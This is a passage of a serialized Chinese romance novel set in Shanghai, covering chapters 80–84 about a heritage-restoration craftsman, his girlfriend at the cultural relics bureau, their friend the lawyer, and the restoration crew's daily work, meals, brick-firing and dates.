什么是苦日子? 她的中文很好,法考四大本几乎畅读无阻; 上海话很好,随时能操着静安区最标准的方言和六七十岁的阿婆聊两句。 但翻遍了名叫‘顾南乔’的词典,她也找不出来‘苦日子’是什么。 在网上搜,词条说是‘物质贫乏、生存艰难的困苦生活状态’——但没说有多贫乏、多艰难。 先科律师大厦,顾南乔照常到16楼打卡上班。 八点半左右,律所已经进入‘战斗状态’。 ‘今日待办’清单推送着各种法院传票、客户紧急咨询、对方律师的证据材料等。 他们团队里最刻苦、最拼的张律师此刻就忙得不可开交。 据说是‘拆迁办今早突袭丈量房屋,客户需立即远程指导取证’。 那个案子她知道,并佩服张律师‘上午在法庭上据理力争时逻辑缜密、下午见拆迁户表现共情、晚上写合同时又回归理性’那样来回切换。 打开工作邮箱,指导律师让她跑档案馆查黄埔区某厂房历史产权变更档案。 这便是她的日常。 耸耸肩,似乎和往常没两样。 第八十章 马赫丽和东尼 “上游枯竭,开始玩假把式,连带建材商也没蛋糕了。以后我带你去旧料市场认认脸,那边有个老师傅肯定靠谱的。” “是是是,老师傅。” 午饭是土豆炒黄牛肉,红烧肉末茄子,加上例汤和跑腿,每份19元。 依稀记得昨天刚夸过,今天就不赘述了。 于是闭麦吃饭。 “陆哥,上游是地产还是啥?咱们不会有影响吧?”小赵问。 说罢,张野也难得进食的时候分神,关心下‘国家大事’。 对此反倒陆砚成急于吃饭的人了,简单十个字作答: “土木是土木,古建是古建。” 土木是土木,以经济目的为主; 古建是古建,以文化目的为主。 所谓道不同,不相为谋。 影响肯定会有,无非是价格低些,利润少些。 还能冷清到哪去? 电话里杨老头说,形势不明朗、事情在跟进,短则个把月,长则一两年才会报道明确结果。 慎之又慎,想来藏着‘大雷’? 秋天的风开始吹了,电风扇都凉快不少。 他吃着普通却营养足够的午餐,觉得舒坦极了。 很多人认同,幸福由平凡孕育——却总不甘于平凡。 本来世界上不存在所谓的‘大雷’。 就像一个孩子从出生到成年,起码要经历十来年时间。 利益链上,好坏的传导是个慢进程。 偏偏有些‘大佬’非把问题按着、掖着,杠杆拉得死死的,还自信满满的模样勾人进场。 结果突然某个环节没对上,泡沫破了,整条船上的人都跑不掉,一起玩完。 ...... 整体降雨不影响局部天晴。 老金这周的单子多了不少,若是肯接仿古砖之类的,收入甚至可以赶到巅峰期的一半。 但不可能。 坚持大半辈子的原则,不出所料,不会变更了。 也没必要。 烧制青砖就把他累得够呛,再多,那几颗老牙肯定嚼不烂。 青砖烧制需经历预热、升温、高温烧结和洇窑冷却,四个阶段。 其中,控温是个大问题。 比如夜间温度易因外界环境,或者燃料燃烧不充分,出现波动。 怎么办呢? 人守着呗! 从预热期三百度火候,到高温期一千度。 既不‘欠火’也不‘过火’的烧制,不光要手艺,还得靠身体熬。 青砖利润高,再高,高得过搞雕塑的吗? 这个就叫靠手艺吃饭。 大半个月的制作,白天要隔壁甘老头帮忙看着,晚上自己在窑前守着。 他觉得身体快病了。 可每当凑近窑体倾听,都能听到砖块发出‘滋滋’的细微响动—— 黏土里的水分正在排出。 上手脚架贴近窑顶黏土,一触即分,顺着摸去,温度均匀且烫手。 这批料子很完美,就要出了。 因而心间、每个枯败缝隙里,渗出丝丝清凉的能量。 他还记得,十一年前同样给老洋房烧制青砖: 刚出窑时‘墨汁未干’,接近墨玉青。 随着空气的接触,便如同‘泼墨遇水’,表面泛出润泽感。 最后青灰色中逐渐渗入浅棕色细点,形成‘青底泛金’的老砖特征。 用铁器敲击,声音清脆;用茶麸水擦拭,纹理因油脂填充而显得柔和。 从‘水沁青’到‘窑变韵’,从工艺到时间的沉淀。 同样的人用同样的工序做出同样优秀品质的砖,仿佛时间不过如此。 ‘青灰凝古意,质坚藏窑韵’。 他会随着这批料子出窑,再年轻一次。 ...... 下班后,‘一个大美女缠上来、极力邀请去她家看片’是种什么体验? 她说,是一部值得反复观看的影片,没有剧本,没有欺骗,完全真枪实弹、真情实感。 此刻,极具叙事感的嗓音借由电视扬声器在这片空间荡开。 ‘一只花豹和一只鬣狗结下了深厚的友谊,并且因此付出了生命的代价......’ 原来是‘花豹马赫丽和鬣狗东尼’的纪录片啊! 完全没听说过呢! 陆砚的‘多出去走走’计划被搁置,杨灵‘每日陪伴’计划正在实施。 电视里,鬣狗和花豹成为了亲密好友,正咬着耳朵打闹。 电视外,陆砚也咬着对方耳朵打闹。 然后被制止。 “陆砚你仔细看,”两只手把他的下巴扶正,“以后要跟东尼一样忠诚,知道吗!” 东尼是谁? 噢,鬣狗啊,没事了。 “......你不觉得它叫声难听吗,还丑。” 谈恋爱就是彼此消磨时间的无意义行为,并为之感到有趣,不是吗? 陆砚也是久违的,和理智在线的杨小姐聊起天,尽管话题是动物世界...... “人品加分!后面你会有滤镜的,相信我。” “放心,我永远不会去怀疑一个智者。” 不知道杨灵有没有听出陈旧的call back,她再次动用了女友的权力: “男朋友快坐好。小嘴巴,不说话。” 就像林晚声列出书单让他全部读完——这位则让其专心看这部、可能已经看过好几遍的纪录片。 额,看的就是真实? 暂不理解动物世界的魅力,却知道保持尊重的重要性。 于是老老实实陪看,并有选择的和对方交换观后感: 杨灵赞美合作,他则高呼团结;她感叹缘分的奇妙,陆砚便说奇妙的缘分。 “我们明天一起看‘虎啸非洲’好不好?” 讨论结束,杨小姐神采奕奕的说。 这便是‘有选择表达’的重要性。 现在开始,他们继恋人和工作外,又在‘欣赏影视作品’一项中成了知己。 所谓知己,自然心意相通。 心意一通,唇彩则尽数抹在陆砚的脸上。 从学术角度来讲,那些浅而密的吻,当是喜不自胜的成分占主导...... 观看完影片,两人慵懒靠在一起,漫无目的的谈话: 谈论为什么能闻到对方的香味,谈论为什么化学博士也用护肤品,谈论亲吻是否比户外运动更消耗卡路里...... “陆砚,外卖好慢呀——” 天色渐灰,屋内亮着暖光,小脑袋蹭着下颌,呼吸打在喉结上,湿润还有点痒。 细细的腰肢裹着惊人的细腻,没有旖旎心思,他突然有点愧疚——明明可以自己做饭的。 教员曾说过,对外要‘打得一拳开,免得百拳来’。 可是对内,对女朋友,自己不该因为抗拒‘以后每天都做饭’的可能,而选择吃外卖。 杨灵不闹脾气的时候,向来温柔体贴......甚至百依百顺。 所以适当宠一宠不是问题! “说到外卖,我突然想到上次顾乔乔来蹭饭。” 就是‘让她在客厅等一个多小时、最后从门口提两袋外卖了事’的那次蹭饭。 关系好是关系好,他俩那事做的不地道也确实不地道。 就如同此刻杨灵‘扑哧’的憋笑,笑完了才意识到当时着实‘过分’。 小手捧住陆砚的脸,她说: “可是‘顾乔乔’说的都是我,你只在旁边幸灾乐祸!” 区区holle kitty也敢触摸虎须? 他也伸手,轻轻捏住两侧脸颊,镇压道: “杨灵灵你好大的胆子!顾乔乔也是你能喊的?小心我录下来发给她,到时候免不了你好果子吃!” “那我也没有捏你诶,好痛!” 有时候,女人说不要就是不要。 又有时候,女人说不要就是要。 陆砚不松。 真痛了不是这个语气。 她也不挣开。 就像小朋友看到警察叔叔、不避不躲上前观望——知道对方绝对、绝对不会伤害自己。 “痛?痛就叫出来,不过杨灵灵我得提醒你,就是喊破喉咙也没人来救你!” “哼!” 当然不服气。 花豹马赫丽用视线在鬣狗东尼皮实的身上不断打量,似乎在找其弱点。 鬣狗东尼则借着庞大的体型将对方压制在下方,精准寻到下口点...... 直到杨灵眼泪都笑出来,才肯停手。 沙发上,两个脑袋又抵在一起,悄悄说话: “明天我们再约乔乔吃晚饭吧。” 变回了三花猫,软绵绵的身体发出软绵绵的声线。 “行啊,这次你陆哥亲自掌厨,杨灵灵你打下手?” “嗯嗯。”对方很乖巧。 住进老洋房和方案的事...... 再拖一天吧。 第八十一章 越过山丘 也许是被他挠痒痒戳中了‘笑点’,昨天靠在一起聊天时,她总会莫名发笑,一颤一颤的传导给陆砚。 最后傻子似的两人一个字不用说,看着对方的眼睛,就乐不可支...... 踩点来到局里报道,等待打印文件的杨灵想到: 亲戚两天,最迟三天结束。 这意味着‘肚子疼’的撒娇借口会暂时冷却,而更大的期待和渴望,即将到来。 想请三天假......把全部精力用以甜蜜的体验。 可以飞去日本约会,京都的岚山竹林小路很有意境; 或者邮轮上看艺术展,日升日落,度过三天两夜; 嫌麻烦,干脆两人就腻在家里,吃着外卖哪也不去,也是好的。 但...... 会不会打乱他的安排? 她百分之百相信,陆砚几乎会答应任何的请求。 这是经由反复确认、反复检查,无可挑剔、无可争议的绝对事实—— 他深深爱着她。 在当代,手机关联着一个人的很多隐私信息,银行卡、贷款、联系人等等。 而杨灵,把陆砚的手机摸得清清楚楚。 最有威胁的前女友......至今他都没发现......所以不构成威胁了。 因而借着陆砚纯粹的爱,杨小姐绝不缺乏勇气和奉献精神: 只要她有的,任君采撷。 ‘智能化文保’主讲稿被打印机连贯吐出,带着墨香摞在办公桌上。 上午,由杨灵带头的议题就要正式汇报,议题试点——老洋房修缮项目。 噢对了,晚上还要喊乔乔吃饭。 她是自己人生每个重大节点的见证者和陪伴者,喜悦一定得跟她分享才行...... 顺便上战场前问军师,看看有没有小技巧之类的。 ...... 七月末调研评估、八月中方案设计、九月开始施工,老洋房项目不知不觉推进到了十月下旬。 再顽固的石头也抵不住水磨功夫,过两天,彩绘雀替的后半部分就会转交给彩绘师傅来做了。 想想这一个半月,梁柱加固、稳定榫卯、修雀替,他常感觉精力有限,想歇会。 刚开始是‘再做一小时就下班了’,到‘修完这边中午可以休息一会’。 终于国庆长假,老周又带了五天孩子——孙女要爬山。 如今,他偶尔思考半退休的事情。 五十七的年纪,体力......不行了! “周哥!吃饭了!” 张野仰着头喊道。 老周从木头里跳出来,不知不觉一个姿势又做了三小时,细密的汗珠从眉角滑落。 “好,就来。” 放下工具,翻身下手脚架,雀替立在头顶,慢慢变高。 就像国庆带孙女爬小土坡、上面的山楂树。 山楂挂满枝头,孙女叽叽喳喳喜得像麻雀,他笑着,却没半分兴致。 洗了手,推开雕花的槅扇门,残余的夏风热浪被洋房隔绝在外。 穿过白布罩着、偶有红色涂料标记的大厅,饭菜香随铁电扇的风吹送过来。 小苏,那个小姑娘实习生说:“陆师傅,今天只要18元,老板还每份送了鸡蛋!” “厉害啊,小苏。”张野说。 “厉害啊,小苏,我奖励你个鸡蛋。” 老周搬过小马扎,默默坐下。 小姑娘先是瞪眼,后见着他来了,便问好、把盒饭递过来。 众人招呼着让位置。 他点点头,累得不想说话。 “陆师傅小气就算了,上次说给我加鸡腿的,腿呢?” 小姑娘是嗔怪?还是说话就这样? 在他眼里,那股子年轻的劲无论如何也遮盖不住。 “负责订饭的把你鸡腿忘了?等着,我现在就批评她、罚她以后少个鸡腿。” “我要跟杨老师告状!” “咳咳,”小赵挺身而出,说,“蒜鸟蒜鸟,以后每人多个腿,事情就蒜鸟~” 这是个好提议。 众人默许,愚者......陆砚假装反对。 反对无效。 他们像九十年代顶着大太阳下地干活的时候、吃了免费的冰似的。 本该沉闷的中午,就此被‘打倒资本家’的喜悦冲散。 原来沉闷的不是中午,而是中年。 或者说,老年。 老周依然少言,像块老树皮,从人们见到它开始就如此。 “小苏我得批评你两句。” 陆砚作为被打倒的‘资本家’最先从庆祝中抽离,望向比平时更沉默、皱纹更慵懒的老师傅。 “又怎么了嘛!不要公报私仇好吧!” “你还是太年轻了、口味重,饭菜味道没选好,把我周叔吃得齁嗓子。” 老周一愣。 苏棠秒懂,配合道: “别瞎说,周叔叔可没这么多事,比你好伺候多了!” 不待老周说话,小赵又说: “小苏尽是废话,周叔大度谁不晓得?你以为我来这是为了工资?看周叔做事,学周叔做人的好不啦!” 苏棠作势就要向他道歉,不知不觉老周疲惫的心活络了些。 仿佛进了空调房般凉爽。 瞅着几人各显神通,有眼力见的张野自然不甘示弱: “周叔喊生分了,叫周哥。” “...” “...” ...... 杨灵说要下午过来,吃过午饭后陆砚没急着敲墙砖,转头补这两天的施工日志。 怎么有种应付老师抽查作业的既视感? 翻过一期期印着‘杨灵’签名的日志本,真不知道竣工那天还舍不舍得上交。 它,又何尝不是陆砚和杨灵字面上的‘一期一会’呢? 众所周知,老师总能在学生尚未补完作业的时候出现。 杨灵来得比说好的要早。 低沉且富有质感的嗡鸣声,绝对比按响喇叭告知众人来得有气势。 剪裁贴合身形却不紧绷,肩线利落中带着一丝柔弧的炭灰色戗(qing)驳领西装,有低调的哑光质感。 每次见到她酷酷的样子,就有‘不真实’的感觉。 这是我女朋友?能是我女朋友? “下午好,领导。” 推门下车,她说:“现在是一点五十七分。” “灵灵,下午好。” “嗯,下午好~” “...” 不对称的称呼,某种层面上疑似被占了便宜,心理上却得到了缓解——她就是我女朋友。 “这套很好看,感觉喊杨主任也不违和。” 顾南乔曾经说过,小姑娘穿新衣服出现,起码要夸三句以上才算合格。 陆砚正在实践当中。 “陆师傅不要套近乎,只是工作装而已。” 他懂了。 是近乎明示的暗示。 和平时大相径庭的正式服装、上来表明公事公办的态度——必然有个严肃话题在后面等着。 而他们之间有什么严肃话题呢? 西侧走廊和后续方案。 张野在外面‘问诊’清水墙,老周和小赵在后院手脚架,一楼大厅用白色防护罩区分着施工区和安全区。 陆砚拿一片布垫在沙发让她坐下。 就像老周和小赵的磨合,那座从二人相遇之初就存在的大山,如今他准备尝试去翻越。 “杨灵......监测器很好用,谢谢。” 开口,有种东西梗在胸口,让其怎么都觉得不痛快。 杨灵眼睛眨了眨,说道: “老师傅也知道现代科技的方便了,我很欣慰~” “...” 果然,对方依然站在‘革新’角度看待洋房,话语之间......什么意思? 他不动声色的回应: “大趋势嘛,大家肯定要跟着时代走。总不能现在还用火折子点火,那就太迂腐了......不过倒是有人提议把火折子列为一种文化代表......” “嗯嗯。苏棠呢?怎么没看见她。” “去二级市场采买了。”此刻哪有心思提苏棠,接着讲: “话说西侧回廊拖着也不是个办法,拆不拆你来定吧,哦对了,大半月前订的石料快到了,进度和工期合同正正好......” 杨老头是甲方,他说‘回廊按她的来’,也是这么做的; 他说‘不要让传统手艺埋没了’,此刻正小心翼翼争取。 聊起工作陆砚总会忽略工作以外的事情。 但今天鬼使神差的分了分神——明明没汗、杨灵却用纸巾擦了好几次。 为了保持妆造美感? 好笑之余,拿起旁边的矿泉水,拧开,递过去。 “谢谢。”她说。 “说谢谢可太伤人了。咱俩谁给谁啊,我倒情愿你不客气点。” 说着,话题扯开了去。 杨灵假设了很多‘不客气’的场景,陆师傅对答如流。 最后,终是满意点头。 酷暑的余威在这样的时节弱了不少,穿堂风吹过两人之间,仿佛认识了很多年。 “工期比较赶的话,确实改起来比较麻烦。” 若无其事的嗓音缓缓飘过,公与私的界限好像模糊,开始交融。 陆砚楞了楞。 “既然装了监视器的话,气流模拟也不是必须项,嗯,可以找到代替。” 原来曾约定‘一起探索两者的平衡点’,她真的有放在心上。 往日种种坚持与决不妥协,竟在日常的相伴中无声化解。 他呢? 他又为两人之间的约定努力了什么?妥协了什么? 所谓传统手艺,所谓古建风貌,真真是不容更变、革新、改进的吗? 陆砚怀疑。 与此同时,他感激对方的包容,并为之动容。 “杨灵。” “怎么了?” “老洋房,一定会变成,你、我都期望的样子。” “好呀~” 第八十二章 幸福来敲门 心里的大石头落地,领着杨灵到一楼、陆砚在老洋房准备睡的房间。 进门,旧樟木箱的气息扑面而来。 和她上次过来又有所不同: 墙边行军床上,铺了薄薄的棉被当铺垫,棉被上用毯子做被子。 得亏电路没有出问题,不然还得自己接线装个小灯泡。 她没有说话,坐在触感没那么舒适的简易小床上,看向面目全非的房间。 小时候她便在这睡,楼上的杨嘉一蹦跳,就知道,是邀请去后院玩的信号。 “过几天会冷。” “是要带床厚的过来。” “不用守在这,去我家睡,我教你分析数据。” 有人说,同居是情侣之间的一道坎,彼时会因为过近的距离打破平日的滤镜; 因为交织的生活,引发小事上频繁的冲突。 所以建议结婚前先同居试试。 还有人说,同居几乎等同于婚后生活,女孩子做这样的决定要慎之又慎,保不准下一任会介意。 但是杨灵如此自然说出口,显得陆砚不答应都像不知好歹的下头男一样。 虽然......一起过夜的时候下头是挺难的。 “电视里的剧情是不会发生在工作中的,杨小姐。” 他拒绝了。 睡在这里是为了应对突发状况,而突发状况,就比如水管破裂这件小事,处理得不及时,便可能酿成大事。 就是有监测器,也不能代替人守在这。 “那我也......” “顾大律师今天有空吗?你们聊得怎么样?” 将话题转移,准备带她接着视察其他部分的工作,分歧什么的就交给未来的自己处理吧。 现在的他,只想把事情做完,然后开启甜甜的恋爱。 “乔乔说她没空诶。” ...... 普陀区中山北路,环球港。 签署完两份日志后,杨灵没提议去观看‘虎啸非洲’,而是随便吃点小吃垫垫,去逛街买秋天的衣服。 非众所周知,刚恋爱的时候,男人陪着逛街也会感到兴致盎然。 潮流集合店内,被新颖的装修和醒目的招牌吸引进来的年轻人不在少数,他和杨灵亦是其中之一。 穿过复古木纹和各类金属装置,赛博区内,他抽出一件银色反光材质的不对称连衣裙。 裙摆处交错着荧光蓝的LED灯带,随着走动,会像数据流般闪烁。 “试试这个!” 杨灵顺从,接过衣服,走进试衣间。 这件单品好看吗? 其实选的时候猎奇成分居多。 随后,选了黑色高帮马丁靴和能投影的钛合金蛇形项链递进去。 外面等着她的,还有个半透明、内部藏着流动液态金属的挎包。 嘿嘿。 为什么有人喜欢女友cosplay? 感受拿在手里、尺寸略显小巧的鞋子,他懂了一点。 为什么女生喜欢玩奇迹暖暖和换装游戏? 当各种搭配出现在模特身上时,他懂了一点。 如果有个长在心坎上的伴侣,这些快乐是无师自通的。 陆砚坐在门前,试衣间的门被推开,两人视线正好相撞。 她换上装扮,整个人仿佛从 2077年的全息屏幕中走出。 银色裙装勾勒出高挑的身姿,走动时灯带的蓝光在她肌肤上跳跃,为原本温柔的面容增添了几分冷艳的机械美感。 仅一瞬间,他仿佛成了最具含金量的红点奖得主,后续妆造、台词、动作...... 无穷尽的设计灵感一个个蹦出,缪斯女神真的降临在眼前。 嘻哈风、牛仔风,或者第一次见面,就被其身上的书卷气所吸引、脑中自然联想到的民国大家闺秀风...... “灵灵。” 他迎上去,仿佛一个喜欢芭比娃娃不可自拔的男孩子、慕然看到芭比娃娃活过来,欣赏且充满占有欲。 “嗯?” 微微扬起嘴角发出可爱的鼻音,她知道这样做更能激起对方喜爱,便毫不犹豫做了。 “我想送你几套衣服。” “我男朋友真大方~” “嗯嗯,宝贝,试试这件背心,配上皮衣和墨镜简直太酷了!” ...... 口红印在他嘴上之前,杨灵说,以前你冒犯我的事咱们既往不咎了。 给洋娃娃换装的男孩下半场自己成了洋娃娃。 同时,他晓得了,杨小姐也热衷这样做。 众所周知,男人是一种逛起街来极易感到疲惫的生物。 才试了三套衣服、堪比喝了一夜酒的空虚感觉就找上了他。 若不是推开门还有神采奕奕的女友和亲吻吊着,早呵欠连天了。 男装店内,经验丰富的销售看见男人出来的第一秒,便知道,这又单稳了。 甚至于这一刻才理解,为什么大家都鼓吹说,要带着热爱工作。 此言诚不欺我。 叫小高的女销售觉得,两年慢熬,她终于热爱上了工作。 即使现在七点半,是适合出去逛街、或者约会的时间,她也愿意坚守在岗位上工作。 问就是敬业符缺一张。 “灵灵,你不会有个专门记账的word表格给人打分之类的吧?不是吧不是吧!” 夸张的口吻一下把‘帅哥’的气场撕破了个口子,供杨灵从中逃离。 挪开眼睛一本正经道: “这样很公平,不会冤枉任何一个好人,也不会放过一个坏人~” “是说顾律师怎么百战百胜,原来法官大人是您啊!” 系着袖口,来到她旁边。 精壮却充满力量感的身形被衬衫束缚着,束缚中、勾勒出张力的线条。 珍珠白府绸面,最顶端的纽扣规规矩矩扣到脖颈。 不经意的动作莫名带着蛊惑意味——禁欲系的路子便是这样遮掩。 虽然说出来很羞耻,他是故意这样做的...... 用一个和大男子主义相违和、且露骨的词讲: 勾引。 对男人来说,没有任何一种男女关系,比建立在身体吸引的基础上、更诚挚。 而爱意,需要诚挚的情感一遍遍浇灌,才得以孕育。 陆砚需要,也渴望占据对方全部的爱——不管以后会不会因为这份占据而感到麻烦——先掠夺,是人的本性。 “但我不是‘法官’,这次你不准摔门走了噢。” 一提到‘陆砚冒犯杨灵’,那肯定就是两人暧昧之前的事,他已经记不得具体情景了。 但不妨碍‘勾引’进行中: “如果你喜欢的话,我就不走了吧。” “喜欢!” 上钩了。 于是,用十分耐心、如同给蜗牛先生介绍回家路一般的口吻说: “嗯——,厨房里量化一切步骤的杨小姐,对在下有多喜欢呢?” 她听着,瞳仁像圆润的琉璃棋子,浸泡在清澈的溪水里。 她凝视着他,如同望见打着旋儿飘落的桃花瓣落在水面上、泛起阵阵涟漪。 杨灵想到了他们的孩子,倘若眉眼像这个男人一样,该多好。 “大概可以、天天做饭给你吃。” 她的情绪从不是无主的云,而是被你掌心纹路牵引的纸鸢。 ‘笨蛋女人’明明可以更聪明、再聪明一点,偏偏是如此真诚而勇敢的传达。 陆砚穿上了新衣服,对褪下工装再没有犹豫,并且破天荒感到脸红,难以招架。 “害!怎么能让你天天做饭呢,哪个男人这么不识好歹?是不是那个人!” 指着旁边的假人模特,作势要去讨个说法,杨灵则准备上去‘拉架’。 可刚伸手去抓他的袖子,男人立马反过来双手环住她的腰肢,说道‘算了算了,消消气。法制社会,都不容易’。 跳脱的角色转换间,女人立马配合出演: 一个劲要上去对假人动粗,若不是陆砚拦着肯定不会就此作罢。 玩闹间,两年多工作经验的销售员小高,又悄然丧失了工作热情...... 第八十三章 杨灵灵 制止了对方接着给他买衣服的冲动,陆砚提议去超市买食材。 提到食材,两人下班到现在还只吃了小吃,正餐还没开始呢! 什么?快八点了还不吃晚饭? 噢,魔都啊,正常。 环球港地下 2层,CeCeLife食品区,慢悠悠推着小车的两人,如新婚夫妻一样挽手商量着今天吃什么菜。 “杨灵灵小帮厨,你来介绍我们的晚餐。” 此刻,陆大厨决定把菜品选择的福利下放至‘底层’,权当杨小姐大胆示好的回报吧。 杨灵从不扫兴。 此刻也进入了状态,吟唱咒法似的: “Yes,Chef Patron!西蓝花维生素C含量达每日所需135%,膳食纤维达标,但农药残留检测报告呢?嗯唔,pass。根据代谢率公式,我们需要补充 2300大卡晚餐热量。如果选择方案B,蛋白质缺口将达 37%,而碳水化合物......” 怎么忘了,进入教条模式下的她是如此严谨和认真。 但现在看着,只觉得可爱极了。 “方案B?蛋白质缺口37%是真的吗?” 她推了推不存在的眼镜,说,“不是,我编的。” “杨灵灵帮厨!” 杨灵挽着陆砚的胳膊,愉快地认错:“工资给你,管饭就行~” ...... 为什么会有当街示众的恶臭情侣? 因为真的情不自禁。 热恋期就是如此: 哪怕是一根微微颤动的睫毛,都值得用最先进的考察设备打量,神情专注得像考古队探查外星文明——每个举动都将改写人生剧本。 拖着树袋熊女朋友回到家的时候,陆砚意识到,老洋房的床还是铺早了。 进来以后根本没机会走......便再住一天吧。 “灵灵,手机给你玩,我去做饭。” 陆砚糊弄小朋友的口吻应付女朋友,自然行不通。 对方不仅要手机,还要人陪着,‘既要又要’在乙方妥协下、完全可以达成和谐。 “陆砚,手机给你,我说你打字,就在我们的群里。” “得,得。” (重生之我在沪上修危房) 墨斗先生:顾乔乔,你好大的胆子,今天杨小姐约你吃饭为什么不来?@我系统呢 墨斗先生:(啰里吧嗦.jpg) “不是‘诘问’吗,为什么是‘啰里吧嗦’。” “别在意,杨灵灵你今天也算借到陆哥的威风了。” 对话间,消息回很快。 我系统呢:哦哟,小赤佬替自家女朋友出头呢?之前没看出来呀这么宠! 我系统呢:@@Adeline,调教得好!(笑脸.jpg) “嗤,嗬嗬......别生气,哈哈哈......” “...” 她笑着,把头枕上来,接着指挥到:“跟乔乔说,不是调教,是真爱。我十分爱自己的女朋友!” “‘我’是谁?‘我女朋友’是谁?”陆砚也忍俊不禁。 “我是陆砚,我女朋友是杨灵~” “你是陆砚,那我是谁。你女朋友是杨灵,我女朋友是谁?” 存心逗乐着,只想看杨灵憋不住笑的模样。 对男人来说,笑声是女人恋爱答复中,最大程度的满意。 因而男人乐此不疲。 “那我们把陆砚和杨灵平分了吧。” “真的假的?” “一言为定!” 说完‘吧唧’一口定了下来。 他能吃亏?高低要还嘴的。 而此刻群内消息没断。 某个刚出档案馆的年轻律师等了又等,隐约察觉什么,给‘灵灵’打去电话。 “......喂,乔乔。” 对面声音很闷,像极力压抑着某些刺激。 额......决定再试试,“小囡做什么呢?群里消息不晓得回一个呀?” “嗯......我回得,比较慢。” “现在,背一遍《文物保障法》第二十一条,快点!” “在文,文物......保护单位,哈哈,陆砚别挠了!” “...” “...” “杨灵小姑娘,你完了。” “可是——” “我说真的。” “...” ...... “灵灵,松手,真的去做饭了。” “难道Chef一只手就没办法做饭吗?” 曾经关系不好的时候两人斗嘴,现在关系好了才发现,‘关系’是无关变量。 她就喜欢斗嘴。 “你这孩子最近顽皮得很,不拿点真本事看来收拾不了你了。” 若说谁可以欺负她,当属顾南乔和此刻的陆砚最恰当。 可若说杨灵最不怕的人,同样也是这两个。 就像昨晚一直傻笑不停,小时候陆砚在外面玩野了也会沉浸进去、不想写作业。 她也玩野了。 “那个.....不就是挠痒痒吗,你以为我会屈服吗!” “虽然你这么说......但已经屈服过一次的人是谁呢,”指着杨灵的胸口,道,“你不会忘了吧?” 杨灵意图反抗。 反抗无效。 玩笑时刻,女人说不要就是要,谨记。 ...... 第一天睡在一起,是杨灵路上乱吃醋被他哄好的时候。 那会她的挽留里面,有‘没控制住脾气的歉意、对男友造成情绪负担的补偿,和‘破镜重圆’的依恋’。 那天晚上,陆砚也在‘理智’先生的低语中想了很多,甚至后半夜里开始起疑和自卑。 从前他总爱喊对方‘杨小姐’。 因为他们开始接触时,‘杨小姐’比‘杨督察’亲昵多了,便成了习惯。 现在呢? 他偶尔喊。 更多则喊‘杨灵’或‘杨灵灵’。 就像搭讪一个小妹妹、或者青梅竹马,那样平等。 因着这份平等,他的情感才触地,开始热衷思考未来。 十一月底就要满28岁的男人,总被家里催婚的男人,会在看到合适时机那一刻,轻而易举想到婚姻。 婚姻有好的一面: 它见证彼此最深切的爱和承诺,此后社会意义上,两者近乎等为一体、不可分剥。 婚姻也有坏的一面,甚至,多数人展示着坏的一面: 小区台阶前失落的老刘,日益消极的陈禹,还有......自家父母。 婚姻有时候还捆绑着‘繁衍下一代’的事项,责任重大—— 两人中任何一方都得有足够的能力、才能通过这项没有考核的艰难考试...... 如今,他们很快乐,而且正朝着幸福的方向奔跑。 因而忍不住憧憬其二人的未来。 顺带一提...... 他很喜欢摸她的肚子。 在动物世界中,这意味着绝对信任——由此,这个癖好比较有合理性。 但另一方就不老实了......占着无敌时间,小手肆意摸索。 陆砚开始还不好意思,轻哼警示,但作案者视若无睹,遂就此作罢。 他就搂着对方的腰细细感受吧。 直到夜深了,月亮静静小憩。 杨灵睡觉的时候真的端正极了,隔着鲨鱼公仔,他却热得睡不着,悄悄走向小套间的浴室。 第八十四章 抽象与具体 不仅仅老洋房外围两层,就连前、后院围墙也用了不少青砖构造。 趁阳光还不灼热,一个身影限时采购般绕围墙转悠起来,时不时用记号笔做损毁程度划分。 正是拿着红外线呈像的陆师傅,干活可带劲了。 原因无它。 以前嗑瓜子要一颗颗的来,现在瓜子变得和开心果一样好剥——陆砚就是如此兴奋——赞美科技。 十一点左右,张野来统计、清点墙上标识,他则在边上绘制病理表。 一如修静安别墅项目的时候默契。 不同的是,那会他、张野、大李和小赵合作做一块地方—— 他要保整块门窗框架;大李主张完全敲开把防水和密封重做;小赵则让他们统统一边呆着,先搞完彩绘保护再动手。 场面真真是吵得不可开交。 当时想过,如果同一处地方只有三个人肯定就好多了,三角形具有稳定性嘛。 毕竟...... 两个人又冷清了些,总有一方会囿于双方不对等身份而听之任之。 “陆哥,靠边站,别挡道。” “哦哦。” “这红颜料是上了还是没上?陆哥你是不是饿了没劲呐?” 踏马的,想多了。 人总有抽风的时候,张野一嘴反问把他抽的风彻底矫正。 “......上了,张哥息怒,那块是要换的。” 而就在此刻,情理之中的消息从他口里冒出: “昨天小李......他们给我通信,说下周就有空了。” ‘小李’自然就是搞采购的小李,‘他们’自然包括年纪大他们一轮、撑不开面子、搞瓦作的大李。 起先杨灵强势喊停老洋房施工,这俩人一看项目要拖久,便跑苏州接民宿改造赚钱去了。 下半场回来也能出几分力,且工位正好缺位以待。 “好,晓得了。” 没收到‘确切’意向前,陆砚不打算透半点口风出去。 谁心里还不能有点火气呢? ...... 午饭是青椒肉丝,昨晚才吃。 那是他和杨灵首次配合做出的菜,而且对方没有在旁边当吉祥物,甚至拿起切菜刀亲自实操。 切菜中,陆砚比较紧张,一直让慢点; 杨灵则故意快点,像拿棒槌捣衣裳似的拿刀。 她很享受对方为自己担心的样子。 陆砚看出来了,威胁道,‘杨灵灵你不老实,今天睡觉就等着吧’。 对方完全不怵,‘我手中有真理,你手里有什么?’ 嘿,神情得意的哟,真是菜刀在手天下我有。 随后陆砚强制接手,让其待一旁洗菜、端水、陪聊。 结果洗菜、端水也不老实做。 可以说做饭这件事,杨灵,事事有回应、件件没着落...... “陆师傅,恶心。” “......小小实习生,吃你的。” “不行,跟你吃一样的饭菜我没胃口了。” 苏棠真觉得那个男人哪哪不对劲。 说好好吃饭吧,一句不吭没错,就是不吃。 说没胃口吧,发呆也要抱着碗,不撒手。 就仿佛手里拿的是初恋女友的照片,看一眼,喝口水就饱了。 大哥,别搞得这么纯情好不好! “等着,一会就跟你杨老师告状去。” “?” 岂有此理,倒反天罡! “陆哥,应急工具买了没,不是说要刮风了吗?”小赵说。 他总能在嬉笑日常中寻找漏洞,给出意见。 小赵,加鸡腿! “小苏啊,听着你赵哥的话没,想想台风要买什么吧!” “我想?你让我想?你等着,我这就给你想。” 一句话超过一半是废话,便是当代年轻人的语言素养? 不由想到前天下班的时候,苏棠在他面前摇头晃脑嚷着‘如何呢?又能怎?’的画面...... 果然时代的列车会在某个节点平等创飞所有人,自此,他决定‘超脱’出去听这孩子的发言。 “好的,慢慢想。”转过头对张野说:“给台风发个通知,让它慢点来。” 张野:“...” 